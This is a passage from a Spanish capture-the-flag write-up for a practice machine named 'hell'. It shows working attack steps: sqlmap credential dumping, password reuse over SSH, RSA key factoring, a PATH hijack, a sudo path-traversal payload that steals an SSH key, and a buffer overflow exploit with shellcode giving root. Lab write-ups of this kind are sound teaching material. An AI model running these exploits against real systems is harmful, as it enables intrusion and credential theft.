available databases [3]:
[*] creds
[*] example
[*] information_schema
Ahora indicamos con el parametro -D
la base de datos que es creds
y usando el parametro -tables
podemos dumpear todas las tablas de esta que solo es users
❯ sqlmap --batch --url "http://localhost/admin/index.php?id=1" -D creds -tables
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[22:46:10] [INFO] resuming back-end DBMS 'mysql'
[22:46:10] [INFO] testing connection to the target URL
[22:46:10] [INFO] the back-end DBMS is MySQL
[22:46:10] [INFO] fetching tables for database: 'creds'
[22:46:10] [INFO] fetching number of tables for database 'creds'
[22:46:10] [INFO] retrieved: 1
[22:46:10] [INFO] retrieved: users
Database: creds
[1 table]
+-------+
| users |
+-------+
Indicamos con el parametro -T
la tabla users
y ahora podemos usar directamente el parametro -dump
que nos dumpea las columnas username
y password
❯ sqlmap --batch --url "http://localhost/admin/index.php?id=1" -D creds -T users -dump
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[22:46:31] [INFO] resuming back-end DBMS 'mysql'
[22:46:31] [INFO] testing connection to the target URL
[22:46:31] [INFO] fetching columns for table 'users' in database 'creds'
[22:46:31] [INFO] retrieved: 2
[22:46:31] [INFO] retrieved: username
[22:46:32] [INFO] retrieved: password
[22:46:33] [INFO] fetching entries for table 'users' in database 'creds'
[22:46:33] [INFO] fetching number of entries for table 'users' in database 'creds'
[22:46:33] [INFO] retrieved: 3
[22:46:33] [INFO] retrieved: beltran48
[22:46:33] [INFO] retrieved: marco
[22:46:34] [INFO] retrieved: iamoswe2023!
[22:46:35] [INFO] retrieved: txhaka
[22:46:35] [INFO] retrieved: superrootpassword
[22:46:37] [INFO] retrieved: root
Database: creds
Table: users
[3 entries]
+-------------------+----------+
| password | username |
+-------------------+----------+
| beltran48 | marco |
| iamoswe2023! | txhaka |
| superrootpassword | root |
+-------------------+----------+
Después de probar las credenciales logramos iniciar sesión como txhaka
en la 172.17.0.3
a través del tunel creado con chisel, ahora podemos leer la quinta flag
❯ ssh txhaka@localhost
txhaka@localhost's password: iamoswe2023!
txhaka@4b6bbb7b4072:~$ id
uid=1000(txhaka) gid=1000(txhaka) groups=1000(txhaka)
txhaka@4b6bbb7b4072:~$ hostname -I
172.17.0.3
txhaka@4b6bbb7b4072:~$ cat flag.txt
█▀ █▀█ █ █ █▄▄ █▀█ █▀█ █ █▀▀ ▄▀█ █▄ █
▄█ ▀▀█ █▄▄ █ █▄█ █▄█ █▄█ █▄▄ ██▄ █▀█ █ ▀█
Flag 5: HELL{7H3_B00L34N_15_4150_4_VU1N}
txhaka@4b6bbb7b4072:~$
Flag 6
HELL{7H3_5QL1_15_7H3_K3Y}
Entre las credenciales dumpeadas en la sqli podemos ver una contraseña de root
, la cual es valida en este contenedor, nos convertimos en root y podemos leer la flag
6
txhaka@4b6bbb7b4072:~$ su root
Password: superrootpassword
root@4b6bbb7b4072:~# id
uid=0(root) gid=0(root) groups=0(root)
root@4b6bbb7b4072:~# hostname -I
172.17.0.3
root@4b6bbb7b4072:~# cat /root/flag.txt
█▀█ █▀█ █▀█ ▀█▀ ▄▀█ █▀▀ ▄▀█ █ █▄ █
█▀▄ █▄█ █▄█ █ ▄ ▄ ▄ █▀█ █▄█ █▀█ █ █ ▀█
Flag 6: HELL{7H3_5QL1_15_7H3_K3Y}
root@4b6bbb7b4072:~#
Flag 7
HELL{R54C7F7001_OR_M4NU41?}
En el directorio de root ademas de la flag encontramos un archivo message.txt
, es un mensaje de pascualropi
que nos dice que ha dejado sus credenciales ssh en el archivo .enc
el cual se desencripta utilizando la clave privada correspondiente
root@4b6bbb7b4072:~# ls
creds flag.txt message.txt
root@4b6bbb7b4072:~# cat message.txt
From: pascualropi@hell.h4u
Hi, I have left ssh credentials in the .enc file, remember to decrypt it with your private rsa key :)
root@4b6bbb7b4072:~#
Dentro del directorio creds
encontramos el archivo .enc ademas de un public.crt
root@4b6bbb7b4072:~/creds# ls
creds.enc public.crt
root@4b6bbb7b4072:~/creds#
Para descargarlos podemos copiar los archivos a /tmp
y como el usuario txhaka
usando scp
copiarlos a nuestra maquina aprovechando la conexion ssh
root@4b6bbb7b4072:~/creds# cp * /tmp
root@4b6bbb7b4072:~/creds#
❯ sshpass -p iamoswe2023! scp txhaka@localhost:'/tmp/*' .
❯ ls
creds.enc public.crt
El archivo public.crt
es una clave RSA publica
de hecho bastante pequeña la cual en caso de lograr factorizarla podria ayudarnos a obtener la clave privada
❯ cat public.crt
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQGN24SSfsyl/rFafZuCr54a
BqEpk9fJDFa78Qnk177LTPwWgJPdgY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmB
jQh7jykg7N4FUC5dkqx4gBw+dfDfytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQop
lt34bxbXgVvJZUMfBFC6LQKBgQCkzWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl
2M6sE8sHiedfyQ4Hvro2yfkrMObcEZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw
2lpm81KVmMIG0oEHy9V8RviVOGRWi2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAML
UCV4ew==
-----END PUBLIC KEY-----
Iniciemos obteniendo sus valores, usando la libreria Crypto
podemos abrir nuestra clave y con un sencillo script
obtener solo 2 de sus valores que son e
y n
#!/usr/bin/python3
from Crypto.PublicKey import RSA
file = open("public.crt", "r")
key = RSA.importKey(file.read())
e = key.e
n = key.n
print(f"e: {e}")
print(f"n: {n}")
❯ python3 exploit.py
e: 115728201506489397643589591830500007746878464402967704982363700915688393155096410811047118175765086121588434953079310523301854568599734584654768149408899986656923460781694820228958486051062289463159083249451765181542090541790670495984616833698973258382485825161532243684668955906382399758900023843171772758139
n: 279385031788393610858518717453056412444145495766410875686980235557742299199283546857513839333930590575663488845198789276666170586375899922998595095471683002939080133549133889553219070283957020528434872654142950289279547457733798902426768025806617712953244255251183937835355856887579737717734226688732856105517
En este caso la clave es bastante pequeña
, hay que tener en cuenta que el valor de n
es el resultado de la multiplicacion de 2 numeros primos, si usamos factordb.com logramos factorizar n
, los 2 numeros que nos devuelve son definidos como p
y q
p = 13833273097933021985630468334687187177001607666479238521775648656526441488361370235548415506716907370813187548915118647319766004327241150104265530014047083
q = 20196596265430451980613413306694721666228452787816468878984356787652099472230934129158246711299695135541067207646281901620878148034692171475252446937792199
El valor de m
se define como el resultado de n
menos el resultado de p + q - 1
La variable d
se define como el resultado de la función modular multiplicativa inversa de e
y m
, asi que tambien es necesario definir la función modinv en python
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise
else:
return x % m
d = modinv(e, m)
Si obtenemos todos estos valores podemos construir
y mostrar la clave privada
key = RSA.construct((n, e, d, p, q))
print(key.exportKey().decode())
Nuestro script
final seria de la siguiente manera y al ejecutarlo este construye y nos muestra por pantalla la clave privada
basandose en los valores conseguidos
#!/usr/bin/python3
from Crypto.PublicKey import RSA
file = open("public.crt", "r")
key = RSA.importKey(file.read())
e = key.e
n = key.n
p = 13833273097933021985630468334687187177001607666479238521775648656526441488361370235548415506716907370813187548915118647319766004327241150104265530014047083
q = 20196596265430451980613413306694721666228452787816468878984356787652099472230934129158246711299695135541067207646281901620878148034692171475252446937792199
m = n - (p + q - 1)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise
else:
return x % m
d = modinv(e, m)
key = RSA.construct((n, e, d, p, q))
print(key.exportKey().decode())
❯ python3 exploit.py
-----BEGIN RSA PRIVATE KEY-----
MIICOQIBAAKBgQGN24SSfsyl/rFafZuCr54aBqEpk9fJDFa78Qnk177LTPwWgJPd
gY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmBjQh7jykg7N4FUC5dkqx4gBw+dfDf
ytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQoplt34bxbXgVvJZUMfBFC6LQKBgQCk
zWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl2M6sE8sHiedfyQ4Hvro2yfkrMObc
EZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw2lpm81KVmMIG0oEHy9V8RviVOGRW
i2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAMLUCV4ewIgSJiewFB8qwlK2nqa7taz
d6DQtCKbEwXMl4BUeiJVRkcCQQEIH6FjRIVKckAWdknyGOzk3uO0fTEH9+097y0B
A5OBHosBfo0agYxd5M06M4sNzodxqnRtfgd7R8C0dsrnBhtrAkEBgZ7n+h78BMxC
h6yTdJ5rMTFv3a7/hGGcpCucYiadTIxfIR0R1ey8/Oqe4HgwWz9YKZ1re02bL9fn
cIKouKi+xwIgSJiewFB8qwlK2nqa7tazd6DQtCKbEwXMl4BUeiJVRkcCIEiYnsBQ
fKsJStp6mu7Ws3eg0LQimxMFzJeAVHoiVUZHAkA3pS0IKm+cCT6r0fObMnPKoxur
bzwDyPPczkvzOAyTGsGUfeHhseLHZKVAvqzLbrEdTFo906cZWpLJAIEt8SD9
-----END RSA PRIVATE KEY-----
Sin embargo esto es opcional ya que con RsaCtfTool
obtenemos el mismo resultado de manera automatizada pasandole la clave publica y un ataque de tipo wiener
❯ RsaCtfTool --publickey public.crt --private --attack wiener --output private.crt
[*] Testing key public.crt.
[*] Performing wiener attack on public.crt.
25%|██████████▊ | 154/612 [36628.83it/s]
[*] Attack success with wiener method !
Results for public.crt:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICOQIBAAKBgQGN24SSfsyl/rFafZuCr54aBqEpk9fJDFa78Qnk177LTPwWgJPd
gY6ZZC9w7LWuy9+fSFfDnF4PI3DRPDpvvqmBjQh7jykg7N4FUC5dkqx4gBw+dfDf
ytHR1LeesYfJI6KF7s0FQhYOioCVyYGmNQoplt34bxbXgVvJZUMfBFC6LQKBgQCk
zWwClLUdx08Ezef0+356nNLVml7eZvTJkKjl2M6sE8sHiedfyQ4Hvro2yfkrMObc
EZHPnIba0wZ/8+cgzNxpNmtkG/CvNrZY81iw2lpm81KVmMIG0oEHy9V8RviVOGRW
i2CItuiV3AUIjKXT/TjdqXcW/n4fJ+8YuAMLUCV4ewIgSJiewFB8qwlK2nqa7taz
d6DQtCKbEwXMl4BUeiJVRkcCQQEIH6FjRIVKckAWdknyGOzk3uO0fTEH9+097y0B
A5OBHosBfo0agYxd5M06M4sNzodxqnRtfgd7R8C0dsrnBhtrAkEBgZ7n+h78BMxC
h6yTdJ5rMTFv3a7/hGGcpCucYiadTIxfIR0R1ey8/Oqe4HgwWz9YKZ1re02bL9fn
cIKouKi+xwIgSJiewFB8qwlK2nqa7tazd6DQtCKbEwXMl4BUeiJVRkcCIEiYnsBQ
fKsJStp6mu7Ws3eg0LQimxMFzJeAVHoiVUZHAkA3pS0IKm+cCT6r0fObMnPKoxur
bzwDyPPczkvzOAyTGsGUfeHhseLHZKVAvqzLbrEdTFo906cZWpLJAIEt8SD9
-----END RSA PRIVATE KEY-----
Utilizando la clave privada
podemos desencriptar el archivo .enc
con openssl
, al hacerlo nos muestra las credenciales ssh
del usuario pascual
hacia hell
❯ openssl pkeyutl -decrypt -inkey private.crt -in creds.enc
Credentials for ssh in hell:
Username: pascual
Password: vulnwhatsapp123!
Al utilizar las credenciales por ssh
conseguimos una shell como el usuario pascual
en la maquina real, podemos leer la flag 7 que es la user flag
para hackmyvm
❯ ssh pascual@192.168.100.91
pascual@192.168.100.91's password: vulnwhatsapp123!
pascual@hell:~$ id
uid=1004(pascual) gid=1004(pascual) groups=1004(pascual)
pascual@hell:~$ hostname -I
192.168.100.91 172.17.0.1
pascual@hell:~$ cat flag.txt
█▀█ ▄▀█ █▀ █▀▀ █ █ ▄▀█ █ █▀█ █▀█ █▀█ █
█▀▀ █▀█ ▄█ █▄▄ █▄█ █▀█ █▄▄ █▀▄ █▄█ █▀▀ █
Flag 7: HELL{R54C7F7001_OR_M4NU41?}
pascual@hell:~$
Flag 8
HELL{R3L4T1V3_R0U735_4R3_FUN!}
En la ruta /var/mail
podemos ver un mensaje de eddiedota
que nos dice que ha creado un compilado llamado reports
que muestra los reportes pasandole un id
pascual@hell:/var/mail$ ls
eddie pascual
pascual@hell:/var/mail$ cat pascual
From: eddiedota@hell.h4u
I have created a reports binary in /opt/reports/reports with which you can read the reports by passing an identifier as an argument to it
pascual@hell:/var/mail$
El binario pertenece al usuario eddie
y tiene privilegios suid
para los usuarios
pascual@hell:~$ ls -l /opt/reports/reports
-rwsr-xr-x 1 eddie eddie 16208 Feb 16 00:24 /opt/reports/reports
pascual@hell:~$
Al ejecutarlo nos dice que es obligatorio proporcionar un id como argumento
, si le pasasamos una cadena de texto
que no sea un numero sale del programa
pascual@hell:~$ /opt/reports/reports
[-] Usage: /opt/reports/reports <id for report>
pascual@hell:~$
pascual@hell:~$ /opt/reports/reports hola
[-] The input must be an identifier digit
pascual@hell:~$
Le pasamos algunos numeros y nos muestra diferentes reportes
de vulnerabilidades
pascual@hell:~$ /opt/reports/reports 1
Vulnerability: A Local File Inclusion has been detected in one of our web servers.
pascual@hell:~$ /opt/reports/reports 2
Vulnerability: SQL Injection has been detected in one of our servers.
pascual@hell:~$ /opt/reports/reports 3
Attention: Please fix this as soon as possible.
pascual@hell:~$
Sin embargo al llegar al 4
dice que el archivo 4 no existe
en el directorio
pascual@hell:~$ /opt/reports/reports 4
cat: /home/eddie/report/4: No such file or directory
pascual@hell:~$
Para analizarlo lo descargamos con scp
aprovechando la conexion ssh de pascual
❯ sshpass -p vulnwhatsapp123! scp pascual@192.168.100.91:/opt/reports/reports .
Al decompilarlo con ida
podemos ver el pseudocodigo de la función main en C
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+14h] [rbp-8Ch]
char *id; // [rsp+18h] [rbp-88h]
char command[104]; // [rsp+20h] [rbp-80h] BYREF
unsigned __int64 stack; // [rsp+88h] [rbp-18h]
stack = __readfsqword(0x28u);
if ( argc <= 1 )
return printf("\n\x1B[0;37m[\x1B[0;31m-\x1B[0;37m] Usage: %s <id for report>\n\n", *argv);
setreuid(1002u, 1002u);
id = (char *)argv[1];
for ( i = 0; i < strlen(id); ++i )
{
if ( (unsigned int)(id[i] - 48) > 9 )
{
printf("\n\x1B[0;37m[\x1B[0;31m-\x1B[0;37m] The input must be an identifier digit\n\n");
return 1;
}
}
putchar(10);
sprintf(command, "cat /home/eddie/report/%s", id);
system(command);
putchar(10);
return 0;
}
Analizando un poco el codigo decompilado inicia haciendo un setresuid
pasandole como argumentos 0x3ea
que es igual a 1002
que pertenece a el usuario eddie
Despues recibe el argumento y almacena en command
un comando que es cat
a un directorio y el id
como archivo, despues ejecuta command con system
id = (char *)argv[1];
sprintf(command, "cat /home/eddie/report/%s", id);
system(command);
La vulnerabilidad viene de usar el comando cat
de forma relativa ya que se puede modificar el path
, lo correcto seria usar la ruta absoluta
al binario cat
✘ cat /home/eddie/report/%s
✔ /usr/bin/cat /home/eddie/report/%s
Para explotarlo podemos crear un archivo cat
que contenga bash
, damos permisos de ejecucion y modificamos el path
para que tome el directorio actual primero
pascual@hell:/tmp$ echo bash > cat
pascual@hell:/tmp$ chmod +x cat
pascual@hell:/tmp$ export PATH=$PWD:$PATH
pascual@hell:/tmp$
Al ejecutar el binario este ejecutara el comando cat
y al ser nuestro cat prioritario ejecutara bash
que es lo que contiene asi que nos da una bash como eddie
pascual@hell:/tmp$ /opt/reports/reports 1
eddie@hell:/tmp$ id
uid=1002(eddie) gid=1004(pascual) groups=1004(pascual)
eddie@hell:/tmp$ hostname -I
192.168.100.91 172.17.0.1
eddie@hell:/tmp$
Ahora modificamos de nuevo el path
para evitar conflictos al leer archivos y modificamos el home
a el directorio home de eddie
, podemos leer la flag
8
eddie@hell:/tmp$ export HOME=/home/eddie PATH=/bin:$PATH
eddie@hell:/tmp$ cat ~/flag.txt
█▀▀ █▀▄ █▀▄ █ █▀▀ █▀▄ █▀█ ▀█▀ ▄▀█
██▄ █▄▀ █▄▀ █ ██▄ █▄▀ █▄█ █ █▀█
Flag 8: HELL{R3L4T1V3_R0U735_4R3_FUN!}
eddie@hell:/tmp$
Flag 9
HELL{B14CKH47_H4CK3R_F4C3B00K_WTF?}
El usuario eddie tambien tiene un mail
esta vez de ghost
que nos pide recuperar su cuenta hackeada, este nos proporciona la ultima contraseña
que recuerda usar
eddie@hell:/var/mail$ ls
eddie pascual
eddie@hell:/var/mail$ cat eddie
From: ghost@hall.h4u
Hi eddie, can you see my hacked facebook account, I leave you the last password I remember: MySuperSecurePassword123!
eddie@hell:/var/mail$
Al probarla por ssh
el usuario ghost
reutiliza la contraseña para su cuenta a nivel de sistema, nos conectamos y podemos simplemente leer la novena flag
❯ ssh ghost@192.168.100.91
ghost@192.168.100.91's password: MySuperSecurePassword123!
ghost@hell:~$ id
uid=1001(ghost) gid=1001(ghost) groups=1001(ghost)
ghost@hell:~$ hostname -I
192.168.100.91 172.17.0.1
ghost@hell:~$ cat flag.txt
█▀█ █▄▄ █▀▀ ▀▄▀ █▀▀ █ █ █▀█ █▀ ▀█▀
█▄█ █▄█ █▀ █ █ █▄█ █▀█ █▄█ ▄█ █
Flag 9: HELL{B14CKH47_H4CK3R_F4C3B00K_WTF?}
ghost@hell:~$
Flag 10
HELL{7H3_5UD03R5_15_N07_4_60D_1D34}
Nos encontramos con un archivo message.txt
de gato
que nos dice que ha creado un script llmado hex.js
en node
que convierte una cadena normal en hexadecimal
ghost@hell:~$ ls
flag.txt message.txt
ghost@hell:~$ cat message.txt
From: gatogamer1155@hell.h4u
Hi ghost, just a heads up I created a script in node.js that converts text to hexadecimal, I'll leave it at my home directory for you to try, it's called hex.js :)
ghost@hell:~$
Si miramos los privilegios de sudoers
vemos que podemos ejecutar con node
cualquier archivo despues de /home/gato
, esto incluye claramente el script hex.js
ghost@hell:~$ sudo -l
[sudo] password for ghost: MySuperSecurePassword123!
Matching Defaults entries for ghost on hell:
secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin\:/snap/bin
User ghost may run the following commands on hell:
(gato) /usr/bin/node /home/gato/*
ghost@hell:~$
El script es muy sencillo, recibe una cadena como input
y lo convierte en hex
ghost@hell:~$ sudo -u gato node /home/gato/hex.js
[*] Enter string: hola
[+] String hexadecimal: 686f6c61
ghost@hell:~$
La vulnerabilidad esta en sudoers ya que podemos poner cualquier cosa despues de /home/gato
incluido un path traversal para retroceder a la raiz ../../
asi que creamos un script en js que lea la id_rsa de gato
y la deposite en /tmp como key
, despues ejecutamos el js con sudo mediante el path traversal
y nos crea el archivo
ghost@hell:/tmp$ cat key.js
require('child_process').exec('cat ~/.ssh/id_rsa > /tmp/key')
ghost@hell:/tmp$ sudo -u gato node /home/gato/../../tmp/key.js
ghost@hell:/tmp$ cat key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACCw+d+VqCdToqmkfc8nt736B6Z96UkprX8Q45JvwEYyTAAAAJBWZgw+VmYM
PgAAAAtzc2gtZWQyNTUxOQAAACCw+d+VqCdToqmkfc8nt736B6Z96UkprX8Q45JvwEYyTA
AAAEDv2MMFeZn5fppNci2trFZ/08+0z2YqD0OU1zmYWmEUCbD535WoJ1OiqaR9zye3vfoH
pn3pSSmtfxDjkm/ARjJMAAAACWdhdG9AaGVsbAECAwQ=
-----END OPENSSH PRIVATE KEY-----
ghost@hell:/tmp$
Nos conectamos por ssh como gato
utilizando la id_rsa
y podemos leer la flag 10
❯ ssh gato@192.168.100.91 -i id_rsa
gato@hell:~$ id
uid=1000(gato) gid=1000(gato) groups=1000(gato)
gato@hell:~$ hostname -I
192.168.100.91 172.17.0.1
gato@hell:~$ cat flag.txt
█▀▀ ▄▀█ ▀█▀ █▀█ █▀▀ ▄▀█ █▀▄▀█ █▀▀ █▀█ ▄█ ▄█ █▀ █▀
█▄█ █▀█ █ █▄█ █▄█ █▀█ █ ▀ █ ██▄ █▀▄ █ █ ▄█ ▄█
Flag 10: HELL{7H3_5UD03R5_15_N07_4_60D_1D34}
gato@hell:~$
Flag 11
HELL{0V3RF10W_F0R_B3G1NN3R5}
Si buscamos archivos com permisos suid nos encontramos que destaca strlen
, el cual tiene como propietario al usuario root
y privilegio suid
para los usuarios
gato@hell:~$ find / -perm -u+s 2>/dev/null
/opt/projects/strlen
/usr/bin/fusermount3
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/mount
/usr/bin/gpasswd
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
gato@hell:~$ ls -l /opt/projects/strlen
-rwsr-xr-x 1 root root 13064 Feb 15 22:04 /opt/projects/strlen
gato@hell:~$
Al ejecutar el binario nos pide una string como argumento
, el programa es algo sencillo simplemente muestra la longitud
de la string
que le pasamos
gato@hell:~$ /opt/projects/strlen
█▀ ▀█▀ █▀█ █ █▀▀ █▄ █
▄█ █ █▀▄ █▄▄ ██▄ █ ▀█
[-] Usage: /opt/projects/strlen <string>
gato@hell:~$ /opt/projects/strlen hola
█▀ ▀█▀ █▀█ █ █▀▀ █▄ █
▄█ █ █▀▄ █▄▄ ██▄ █ ▀█
[*] String: hola
[+] Length: 4
gato@hell:~$
Para analizarlo a detalle podemos descargarlo con scp
aprovechando la conexion
❯ scp -i id_rsa gato@192.168.100.91:/opt/projects/strlen .
Al abrirlo con ida
podemos ver todo el codigo decompilado en C
Iniciemos con la función main
, esta simplemente comprueba que se le pase un argumento
, despues llama a la función overflow
pasandole el argumento que recibe, ademas setea el uid
a 0
que es el id que pertenece al usuario root
int __fastcall main(int argc, const char **argv, const char **envp)
{
puts(banner);
if ( argc <= 1 )
return printf("\n\x1B[0;37m[\x1B[0;31m-\x1B[0;37m] Usage: %s \n\n", *argv);
setuid(0);
return overflow(argv[1]);
}
La vulnerabilidad se encuentra la función overflow
ya que define un buffer de 256
bytes y usa la función strcpy
con el parametro que es vulnerable
a buffer overflow
char *__fastcall overflow(const char *param_1)
{
size_t len; // rax
char buffer[256]; // [rsp+10h] [rbp-100h] BYREF
printf("\n\x1B[0;37m[\x1B[0;34m*\x1B[0;37m] String: %s\n", param_1);
len = strlen(param_1);
printf("\n\x1B[0;37m[\x1B[0;32m+\x1B[0;37m] Length: %lu\n\n", len);
return strcpy(buffer, param_1);
}
Si miramos las protecciones del binario con checksec
tiene todas deshabilitadas
❯ checksec strlen
[*] '/home/kali/strlen'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Será un buffer overflow basico, iniciemos creando un patron de 300
caracteres y correr el programa pasandoselo como argumento
, como resultado este corrompe
❯ gdb -q strlen
Reading symbols from strlen...
(No debugging symbols found in strlen)
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> run aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
Starting program: /home/kali/strlen aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
█▀ ▀█▀ █▀█ █ █▀▀ █▄ █
▄█ █ █▀▄ █▄▄ ██▄ █ ▀█
[*] String: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Length: 300
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401297 in overflow ()
pwndbg>
Ahora buscamos el offset
o bytes necesarios antes de sobreescribir la siguiente direccion de retorno
, para ello son necesarios 264
bytes
pwndbg> x/gx $rsp
0x7fffffffe418: 0x6261616161616169
pwndbg> cyclic -l 0x6261616161616169
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264
pwndbg>
Si miramos instrucciones en el programa que ejecuten un jmp
o un call
a un registro nos encontramos con 3
direcciones, cualquiera de estas nos serviria ya que apuntan al registro rax
que es donde esta el inicio de nuestro input
y lo interpreta
❯ ropper --file strlen --jmp rax
JMP Instructions
================
0x0000000000401014: call rax;
0x000000000040112c: jmp rax;
0x000000000040116e: jmp rax;
3 gadgets found
Nuestro payload sera el siguiente, iniciamos por un shellcode en x64 que ejecute una /bin/sh
, despues rellenamos con A's
hasta llegar al RIP
y hacemos que este apunte a la direccion de la intrucción call rax
, esta instruccion interpretara el registro rax
donde esta el inicio de nuestro input
y ejecutara nuestro shellcode
Ahora definimos el plan anterior en un script de python
simplemente convirtiendo la direccion de call rax 0x401014
a little endian que seria igual a \x14\x10\x40
#!/usr/bin/python2
offset = 264
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
junk = b"A" * (offset - len(shellcode))
callrax = b"\x14\x10\x40"
payload = shellcode + junk + callrax
print(payload)
Finalmente ejecutamos el programa pasandole el payload
del script de python como argumento, al hacerlo se nos otorga una /bin/sh
como el usuario root
gato@hell:~$ /opt/projects/strlen $(python2 exploit.py)
█▀ ▀█▀ █▀█ █ █▀▀ █▄ █
▄█ █ █▀▄ █▄▄ ██▄ █ ▀█
[*] String: H1�VH�/bin//shWT_j;X�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@
[+] Length: 267
# whoami
root
# hostname -I
192.168.100.91 172.17.0.1
#
Ya como root
podemos ejecutar cualquier comando, leemos la id_rsa
de root
# cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDmJr0/oCVLc+CIr0DLvX/Iekg3KCvx0kHWKMLoBfzERgAAAJDyk+/a8pPv
2gAAAAtzc2gtZWQyNTUxOQAAACDmJr0/oCVLc+CIr0DLvX/Iekg3KCvx0kHWKMLoBfzERg
AAAEB9iT+NoXyGbMDx8/m+91bIS5mGxdoy8fxw0Dm3IJ94luYmvT+gJUtz4IivQMu9f8h6
SDcoK/HSQdYowugF/MRGAAAACXJvb3RAaGVsbAECAwQ=
-----END OPENSSH PRIVATE KEY-----
#
Podemos conectarnos por ssh
usando la id_rsa y obtenemos una bash mas interactiva como el usuario root
, finalmente podemos leer la ultima flag
11
❯ ssh root@192.168.100.91 -i id_rsa
root@hell:~# id
uid=0(root) gid=0(root) groups=0(root)
root@hell:~# hostname -I
192.168.100.91 172.17.0.1
root@hell:~# cat flag.txt
█▀█ █▀█ █▀█ ▀█▀ █ █ █▀▀ █ █
█▀▄ █▄█ █▄█ █ █▀█ ██▄ █▄▄ █▄▄
Flag 11: HELL{0V3RF10W_F0R_B3G1NN3R5}
Congratulations on completing this CTF!
